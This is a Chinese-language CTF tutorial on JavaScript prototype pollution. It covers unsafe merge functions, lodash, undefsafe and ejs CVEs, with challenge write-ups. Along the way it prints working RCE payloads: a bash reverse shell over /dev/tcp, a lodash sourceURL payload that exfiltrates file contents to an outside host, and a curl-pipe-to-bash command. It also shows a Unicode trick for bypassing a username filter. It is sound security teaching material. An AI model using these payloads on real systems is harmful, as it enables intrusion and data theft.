这个prototype污染是js种独有的安全问题,挺有一14。
在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。
首先我们要搞清楚这样一件事
在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。
而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。
每个实例对象(object)都有一个私有属性( __proto__
)指向它的 构造函数的原型对象 (prototype)。该原型对象也有一个自己的原型对象( __proto__
),层层向上直到一个对象的原型对象为 null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
我们可以通过以下方式访问得到某一实例对象的原型对象:
objectname.[[prototype]] objectname.prototype objectname["__proto__"] objectname.__proto__ objectname.constructor.prototype
在创建对象时,就会有一些预定义的属性。其中在定义函数的时候,这个预定义属性就是 prototype,这个 prototype 是一个普通的原型对象。
而定义普通的对象的时候,就会生成一个 __proto__
,这个 __proto__
指向的是这个对象的构造函数的 prototype。
JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。这条链子就是原型链了。
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
这里用一个p神的例子
function Father() { this.first_name = 'Donald' this.last_name = 'Trump' } function Son() { this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
我们来分析一下这段代码,Son这个函数的原型通过Son.prototype = new Father()
这一段代码继承了Father的属性,然后通过构造函数将Son实例化为对象son,当我们输出first_name的时候,引擎会先在构造出对象的函数中寻找,也就是在Son中寻找,找到了Melania并输出,在输出last_name的时候,先在Son中查找,没有找到,然后引擎就会去son.__proto__
中寻找,通过我们的学习,可以知道son.__proto__ == Son.prototype
,又因为Son.prototype = new Father()
所以Son的圆形中就会有Father的属性,就输出了我们所看到的结果了。
那如果在son.__proto__
中没找到呢?
如果仍然找不到,则继续在son.proto.proto中寻找last_name
依次寻找,直到找到null结束。比如,Object.prototype的proto就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
我们需要记住:
每个构造函数(constructor)都有一个原型对象(prototype)
对象的proto属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
为啥要学这个呢?因为我们需要以这种形式对原型链进行传值,来对其进行污染
JSON 语法是 JavaScript 语法的子集。
JSON 语法衍生于 JavaScript 对象标记法语法:
JSON键/值对由键和值组成,键必须是字符串,值可以是字符串(string)、数值(number) 、对象(object)、数组(array)、true、false、null。
在定义JSON键/值时,先是键名,后面写一个冒号,然后是值。如:
"github": "https://github.com/"
就等价于
github = "https://github.com/"
再举个例子
var object = { 'a': [{ 'b': 2 }, { 'd': 4 }] }; var other = { 'a': [{ 'c': 3 }, { 'e': 5 }] }; _.merge(object, other); // => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
我们先看一个语句
我们如果可以控制[a]、[b]和value的值,将[a]设置为__proto__
,那我们就可以给对象的原型设置一个值为value的b属性了。
这样所有继承object对象原型的实例对象都将会在本身没有b这一属性的情况下,拥有一个值为value的b属性。
举个例子
为啥没在object2中设置foo属性还可以输出Hello World呢?
是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。
这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。
这里还是p神的例子
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b)
可以看到,数据被合并了,那么验证一下原型链有没有被污染
可以看的出来,并没有。
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
像这样的一段代码
function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a }
merge
函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下,第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上,并且它们都是Object
类型,那么Merge
函数将重新开始合并它。
在这里可以控制b[attr]
的值,将attr
设为__proto__
,也可以控制b中proto
属性内的值,那当递归时,a[attr]
在某个点实际上将指向对象a的原型,至此通过递归我们向所有对象添加一个新属性。
需要配合JSON.parse
使得我们输入的__proto__
被解析成键名,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响
>let o2 = {a: 1, "__proto__": {b: 2}} >merge({}, o2) <undefined >o2.__proto__ <{b: 2} >console.log({}.b) <undefined //并未污染原型 >let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') >merge({},o3) <undefined >console.log({}.b) <2 //成功污染
那么Merge()为什么不安全呢?
source
对象中的所有属性进行迭代(因为对象 source
在键值对相同的情况下拥有更高的优先级)Object
,它就会递归地合并这个属性。source[key]
的值,使其值变成 __proto__
,且我们能控制 source
中 __proto__
属性的值,在递归的时候,target[key]
在某个特定的时候就会指向对象 target
的 prototype
,我们就能成功地添加一个新的属性到该对象的原型链中了。进入题目后发现是一个登陆界面,直接登陆的话会提示需要先注册,用admin注册的话会提示禁用字符,访问www.zip获取源码
在/route/index.js中发现了Merge操作,同时还有一个可疑的clone
我们找一下clone方法
可以看到,需要user是ADMIN我们才能使用clone
这个就关系到登陆了,我们查看一下登陆相关的路由
这里了一个safekeyword的方法来审查注册,我们跟进
哦,就是不能注册admin,但我们需要用admin的身份
注意到有一个toUpperCase
的函数被调用了,也就是会把user的注册内容转化成为大写,这就可以利用Fuzz中的JavaScript的大小写特性。
toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的函数。
但我们用脚本fuzz过后
出现了俩奇怪的东西"ı"、"ſ"。
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
toLowerCase也有同样的字符:
这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.
那我们就可以借助"ı"来完成admin的注册了
注册admın
成功注册,这里还说了flag的目录
这样我们就来到了原型链污染的部分了,那么污染那个属性呢?
可以看到在 /info
下,将 res 对象中的 outputFunctionName
属性渲染入 index
中,而 outputFunctionName
是未定义的:
回到界面上,提交我们喜爱的语言然后抓包
将 Content-Type 设为 application/json,POST Body 部分改为 Json 格式的数据并加上Payload:
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
可以看到success了
其实这个题还有个非预期
在这里我们可以看到这个题是使用了ejs这个模板引擎
这个引擎特征
const express = require('express'); const path = require('path'); const app = express(); app.listen(3000, () => { console.log('3000端口'); }); //设置ejs: app.set('view engine', 'ejs'); //设置模板引擎为ejs app.set('views', [`${path.join(__dirname,'moban')}`, `${path.join(__dirname,'views')}`]); //设置模板文件的存放位置 app.engine('html', require('ejs').__express); //将html文件作为ejs模板文件来解析
但这个模板引擎本身是存在原形污染的,可以直接进行rce,且有大把现成的exp....
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/监听端口 0>&1\"');var __tmp2"}}
先访问/action进行原型链污染,再访问/info进行模板渲染,实现RCE
接着post访问api.js就可以反弹shell了
'use strict'; const express = require('express'); const bodyParser = require('body-parser') const cookieParser = require('cookie-parser'); const path = require('path'); const isObject = obj => obj && obj.constructor && obj.constructor === Object; function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone(a) { return merge({}, a); } // Constants const PORT = 8080; const HOST = '0.0.0.0'; const admin = {}; // App const app = express(); app.use(bodyParser.json()) // 调用中间件解析json app.use(cookieParser()); app.use('/', express.static(path.join(__dirname, 'views'))); app.post('/signup', (req, res) => { var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.name) { res.cookie('name', copybody.name).json({ "done": "cookie set" }); } else { res.json({ "error": "cookie not set" }) } }); app.get('/getFlag', (req, res) => { var аdmin = JSON.parse(JSON.stringify(req.cookies)) if (admin.аdmin == 1) { res.send("hackim19{}"); } else { res.send("You are not authorized"); } }); app.listen(PORT, HOST); console.log(`Running on http://${HOST}:${PORT}`);
这里我们可以看出我们需要让admin = 1就行了
要满足admin.аdmin
等于1
。因为__proto__
是一个Object,会递归进入merge()
,由于__proto__
有一对key-value
,所以会判断__proto__["admin"]
是否是Object
,不是就进入else
,对原型__proto__["admin"]
赋值为1
,这就完成了原型链污染的操作。
因此最简单的 Payload 就是:
{"__proto__": {"admin": 1}
此 CVE 影响 2.1.1 以下的 merge 版本
测试代码:
const merge = require('merge'); const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}'); let obj1 = {x: {y:1}}; console.log("Before : " + obj1.polluted); merge.recursive(obj1, payload2); console.log("After : " + obj1.polluted); console.log("After : " + {}.polluted);
结果如下
漏洞成因
首先对于传入的数据没有严格的审核
导致了recursive方法中的键值是可以控制的,我们可以直接通过他来对原型进行更改
修复也自然就是对传入的数据进行过滤
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。
2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
const mergeFn = require('lodash').defaultsDeep; const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } } check(); console.log(Object.whoami);
我们在mergeFn({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在类型为 Object 的 a 对象的 __proto__
属性中添加了一个 whoami
属性,值为 Vulnerable
,污染成功。
原型被污染了
在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL
属性,即给所有 Object 对象中都插入一个 sourceURL
属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后面会讲到。
Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources
来源对象自身和继承的可枚举属性到 object
目标对象,以创建父映射对象:
这种格式的东西在原型链污染中是出现频率很高的危险函数之一
这里当两个键相同的时候,生成的对象将有最右边的值,在这里也就是sources的值。当有多个对象相同的时候,那么新生成的对象将只有一个与这些对象相对应的键和值。这也就是之前在Merge类污染的时候讲过的递归那一块,其实和之前说的Merge类污染是很相似的,我们来看源码。
直接调用了baseMerge
方法,我们直接跟进
这里对srcValue有一个筛选,如果他是一个对象的话就进入baseMergeDeep
方法,我们要去Merge的对象一定是个Object
这里对于上一步的srcValue直接丢进了assignMergeValue
中,继续跟进
这里对value的值和对象键名啥的进行一个筛选,但是最终就是进入baseAssignValue
这里可以进行绕过
prefixPayload = { nickname: "Will1am" }; payload:{"constructor": {"prototype": {"role": "admin"}}} _.merge(prefixPayload, payload);
最终进入 object[key] = value
的赋值操作。
也就是object[prototype] = {"role": "admin"}
这样就给原型对象赋值了一个名为role,值为admin的属性
POC:
var lodash= require('lodash'); var payload = '{"__proto__":{"polluted":"yes"}}'; var a = {}; console.log("Before polluted: " + a.polluted); lodash.merge({}, JSON.parse(payload)); console.log("After polluted: " + a.polluted);
我们在 lodash.merge({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在类型为 Object 的 a 对象的 __proto__
属性中添加了一个 polluted
属性,值为 yes
,污染成功。
运行结果也表示了污染成功
这个方法类似于 merge
方法。但是它还会接受一个 customizer
,以决定如何进行合并。 如果 customizer
返回 undefined
将会由合并处理方法代替。
mergeWith(object, sources, [customizer])
这个方法在4.0.0版本之后添加的
这个方法除了多了个customizer其实和上面分析的路径是一样的,就不一步一步的卸载这里了
这个参数对于我们的利用路径也没啥影响
var lodash= require('lodash'); var payload = '{"__proto__":{"polluted":"yes"}}'; var a = {}; console.log("Before polluted: " + a.polluted); lodash.merge({}, JSON.parse(payload)); console.log("After polluted: " + a.polluted);
我们在 lodash.mergeWith({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在类型为 Object 的 a 对象的 __proto__
属性中添加了一个 polluted
属性,值为 yes
,污染成功。
设置object
对象中对应 path 属性路径上的值,如果path不存在,则创建。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。 使用_.setWith 定制path创建。
Note: 这个方法会改变 object。
返回(Object): 返回 object。
例子
var object = { 'a': [{ 'b': { 'c': 3 } }] }; _.set(object, 'a[0].b.c', 4); console.log(object.a[0].b.c); // => 4 _.set(object, ['x', '0', 'y', 'z'], 5); console.log(object.x[0].y.z); // => 5
其实作用就是修改指定路径的值
看源码
这里指向了baseSet,跟进
这里必然是一个对象,进入if循环,但我们更改的主要是路径,通过路径对原型链进行污染
跟进baseToPath方法
这里对我们传入的path进行一个条件运算,很显然我们传入的一般不是一个数组,跟进到stringToPath方法
可以看到也没有啥过滤
如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:
var lodash= require('lodash'); var object_1 = { 'a': [{ 'b': { 'c': 3 } }] }; var object_2 = {} console.log(object_1.whoami); //lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable'); lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); console.log(object_1.whoami);
我们在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
处下断点,单步结束后可以看到:
在类型为 Array 的 object_1 对象的 __proto__
属性中出现了一个 whoami
属性,值为 Vulnerable
,污染成功。
这个也是,类似于上面讲的set方法,但是还回接受一个customizer
,用来调用并决定如何设置对象路径的值。 如果 customizer
返回 undefined
将会有它的处理方法代替。customizer
调用3个参数: (nsValue, key, nsObject) 。
该方法与 set
方法一样可以进行原型链污染,基本上差不多,就不单出拿出分析了,下面给出一个验证漏洞的 POC:
var lodash= require('lodash'); var object_1 = { 'a': [{ 'b': { 'c': 3 } }] }; var object_2 = {} console.log(object_1.whoami); //lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable'); lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); console.log(object_1.whoami);
我们在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
处下断点,单步结束后可以看到:
在类型为 Array 的 object_1 对象的 __proto__
属性中出现了一个 whoami
属性,值为 Vulnerable
,污染成功。
例子
_.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]); // => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }
影响版本 < 4.17.16,这里的测试版本是4.17.15
POC
const _ = require('lodash'); _.zipObjectDeep(['__proto__.z'],[123]) console.log(z) // 123
看看源码
该函数可以根据props数组指定的属性进行对象“压缩”,属性值由values数组指定。
所以传入的也就变成baseZipObject(['__proto__.z'],[123],baseSet)
跟进baseZipObject
POC中调用baseZipObject函数时,length等于1,varsLength等于1,assignFunc是baseSet。
因此执行的其实是
baseSet({}, '__proto__.z', 123)
这个版本的baseSet和我们上面讲到的漏洞有所不同
这里用到castPath将路径__proto__.z
解析成属性数组['__proto__','z']
然后就进入了while循环,大概执行了以下操作:
按属性数组中元素的顺序,依次获取对象原有的属性值,并进行赋值;
如果该属性不是数组的最后一个元素,那赋值为对象本身,或空数组,或{}。
如果是数组的最后一个元素,就将该属性赋值为我们期望的value。
我们在_.zipObjectDeep(['__proto__.z'],[123])
下一个断点,然后单步执行查看结果
可以看到,原型链被污染了,每一个现有对象和新建对象都将有一个属性z。
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 "interpolate" 分隔符相应的位置。 HTML会在 "escape" 分隔符中转换为相应实体。 在 "evaluate" 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings
的值。
在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性
我们看一下相关的源码
// Use a sourceURL for easier debugging. var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; // ... var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
可以看到 sourceURL 属性是通过一个三元运算赋值,options是一个对象,sourceURL取到了其options.sourceURL
属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
这里要注意的是 Function 内是没有 require 函数的,我们不能直接使用 require('child_process') ,但是我们可以使用 global.process.mainModule.constructor._load 这一串来代替,后续的调用就很简单了。
\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"}
这道题是看P神文章里面写的,摘出来分析一下
没找到环境,简单分一下吧
源码如下
const fs = require('fs') const express = require('express') const bodyParser = require('body-parser') const lodash = require('lodash') const session = require('express-session') const randomize = require('randomatic') const app = express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) app.set('views', './views') app.set('view engine', 'ejs') app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) }) app.listen(3000, () => console.log(`Example app listening on port 3000!`))
比较重要的代码如下
// ... const lodash = require('lodash') // ... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) //... app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) })
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞,会直接将注入原型的属性的值写去最底层的object。我们需要找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。
在template函数中我们可以找到利用点
var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
看下sourceURL
option是在模板引擎中渲染的值。这里读的是sourceURL属性的值,我们可以通过添加一个sourceURL属性,修改它的值,通过js原型链污染在function中达到执行js的目的,模板:
new Function("","//# sourceURL='xxx'\r\n CODE \r\n")();
因为require不是全局的,他只存在于当前的模块范围,但是new function
是在新的领域运行的,所以我们想利用的话要先将它引用过来
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://onsdtb.ceye.io/${result}`);req.end();\r\n"}}
Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。
var a = require("undefsafe"); var object = { a: { b: { c: 1, d: [1,2,3], e: 'skysec' } } }; console.log(object.a.b.e) // skysec
可以看到当我们正常访问object属性的时候会有正常的回显
但当我们访问不存在属性时则会得到报错
在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:
那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了
同时在对对象赋值时,如果目标属性存在:
我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:
访问属性会在上层进行创建并赋值。
通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本,存在原型链污染漏洞(CVE-2019-10795)。
我们在 2.0.3 版本中进行测试:
var a = require("undefsafe"); var object = { a: { b: { c: 1, d: [1,2,3], e: 'skysec' } } }; var payload = "__proto__.toString"; a(object,payload,"evilstring"); console.log(object.toString); // [Function: toString]
这里object.toString
的值本来是存在的,我们通过Undefsafe将其更改成了我们想要执行的语句
也就是说当undefsafe()
函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值。
var a = require("undefsafe"); var test = {} console.log('this is '+test) // 将test对象与字符串'this is '进行拼接 // this is [object Object]
返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:
var a = require("undefsafe"); var test = {} a(test,'__proto__.toString',function(){ return 'just a evil!'}) console.log('this is '+test) // 将test对象与字符串'this is '进行拼接 // this is just a evil!
可以看到最终输出了 "this is just a evil!"。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。
题目给出了源码
var express = require('express'); var path = require('path'); const undefsafe = require('undefsafe'); const { exec } = require('child_process'); var app = express(); class Notes { constructor() { this.owner = "whoknows"; this.num = 0; this.note_list = {}; } write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); } get_all_notes() { return this.note_list; } remove_note(id) { delete this.note_list[id]; } } var notes = new Notes(); notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'pug'); app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) { res.render('index', { title: 'Notebook' }); }); app.route('/add_note') .get(function(req, res) { res.render('mess', {message: 'please use POST to add a note'}); }) .post(function(req, res) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess', {message: "add note sucess"}); } else { res.render('mess', {message: "did not add note"}); } }) app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } }) app.route('/delete_note') .get(function(req, res) { res.render('mess', {message: "please use POST to delete a note"}); }) .post(function(req, res) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess', {message: "delete done"}); } else { res.render('mess', {message: "delete failed"}); } }) app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === "undefined") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); }) app.route('/status') .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); }) app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!'); }); app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!'); }); const port = 8080; app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
我们注意到其使用了 undefsafe 模块,那么如果我们可以操纵其第 2、3 个参数,即可进行原型链污染,则可使目标网站存在风险。故此,我们首先要寻找 undefsafe 的调用点:
get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); }
这里的r是个空的属性,是很显然是比较容易利用的,同时再查看和编辑note的时候还调用了undefsafe方法,那我们下一步就看看get_note在哪里会被调用
app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === "undefined") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); })
这个路由主要就是用来查看notes的,当我们指定一个q,也就是指定一个查看的note时,就会调用get_note
既然q是我们可以指定的,也就说明他是一个可控的参数,但这样只能控制undefsafe得第二个参数而已,而第三个参数我们无法控制
但在/edit_note
路由中存在一个edit_note
的方法
app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } })
此时的id, author, enote
三个参数都是可控的参数,那么我们则可以操纵原型链进行污染
edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); }
那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现 /status
路由有命令执行的操作:
app.route('/status') // 漏洞点,只要将字典commands给污染了,就能执行我们的任意命令 .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); // 将命令执行结果输出 }); } res.send('OK'); res.end(); })
那我们的思路就来了,我们可以通过/edit_note
路由污染note_list
对象的原型,比如加入某个命令,由于 commands
和 note_list
都继承自同一个原型,那么在遍历 commands
时便会取到我们污染进去的恶意命令并执行。
在服务器上面创建一个反弹 Shell 的文件,然后等待目标主机去 Curl 访问并执行他:
在目标主机执行 Payload:
id=__proto__.a&author=curl http://1.15.75.117/shell.txt|bash&raw=a;
再访问 /status 路由,利用污染后的结果进行命令执行,成功反弹 Shell 并得到 flag
Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
var express = require('express'); var lodash = require('lodash'); var ejs = require('ejs'); var app = express(); //设置模板的位置与种类 app.set('views', __dirname); app.set('views engine','ejs'); //对原型进行污染 var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}'; lodash.merge({}, JSON.parse(malicious_payload)); //进行渲染 app.get('/', function (req, res) { res.render ("index.ejs",{ message: 'sp4c1ous' }); }); //设置http var server = app.listen(8000, function () { var host = server.address().address var port = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) });
index.ejs
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1><%= message%></h1> </body> </html>
对原型链进行污染的部分就是这里的lodash.merge
操作,我们通过对 outputFunctionName
进行 原型链污染 后的赋值来实现 RCE ,语句为
"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"
下面我们开始分析。
我们从 index.js::res.render 处开始,跟进 render 方法:
跟进到 app.render 方法:
发现最终会进入到 app.render 方法里的 tryRender 函数,跟进到 tryRender:
调用了 view.render
方法,继续跟进 view.render
:
至此调用了 engine
,也就是说从这里进入到了模板渲染引擎 ejs.js
中。跟进 ejs.js
中的 renderFile 方法:
发现 renderFile 中又调用了tryHandleCache
方法,跟进tryHandleCache
:
进入到 handleCache 方法,跟进 handleCache:
在 handleCache 中找到了渲染模板的 compile 方法,跟进 compile:
找到了我们要找的outputFunctionName
发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName
